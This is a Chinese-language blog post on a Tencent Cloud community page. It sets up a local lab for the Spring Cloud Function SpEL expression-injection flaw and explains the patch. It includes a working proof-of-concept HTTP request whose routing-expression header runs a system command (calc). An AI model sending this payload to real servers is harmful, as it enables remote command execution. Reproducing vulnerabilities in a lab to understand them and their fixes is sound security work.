前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现-Spring Cloud Function SpEL表达式注入

漏洞复现-Spring Cloud Function SpEL表达式注入

作者头像
hyyrent
发布2022-12-26 20:10:15
6430
发布2022-12-26 20:10:15
举报
文章被收录于专栏:安全学习记录安全学习记录

漏洞描述

Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRouter时, HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

编译好的项目 https://github.com/Pizz33/Spring-Cloud-Function-SpEL

使用idea新增一个spring lnitializr项目,选择与环境匹配的java版本

image-20220327031717440
image-20220327031717440

添加spring web和function

image-20220327034700585
image-20220327034700585

右侧栏选择maven-package编译jar包

image-20220327032051432
image-20220327032051432

编译完成后运行jar包

代码语言:javascript
复制
java -jar demo-0.0.1-SNAPSHOT.jar
image-20220327032245869
image-20220327032245869

访问127.0.0.1:8080出现下图说明搭建成功

image-20220327032254783
image-20220327032254783

发送poc,成功执行命令

代码语言:javascript
复制
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx
image-20220327032802779
image-20220327032802779

漏洞原理

位于 RoutingFunctionTests.java 的128行,可以清楚地看出Http头部构造方式

image-20220327015450579
image-20220327015450579

从官方补丁对比可看出新增了SimpleEvaluationContext,用于限制外部输入解析,在解析前先判断 spring.cloud.function.routing-expression的值是否取自http头,外部输入使用SimpleEvaluationContext,非外部输入使用StandardEvaluationContext进行解析

image-20220327020710704
image-20220327020710704
image-20220327034222539
image-20220327034222539
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-03-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞描述
  • 影响版本
  • 漏洞复现
  • 漏洞原理
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档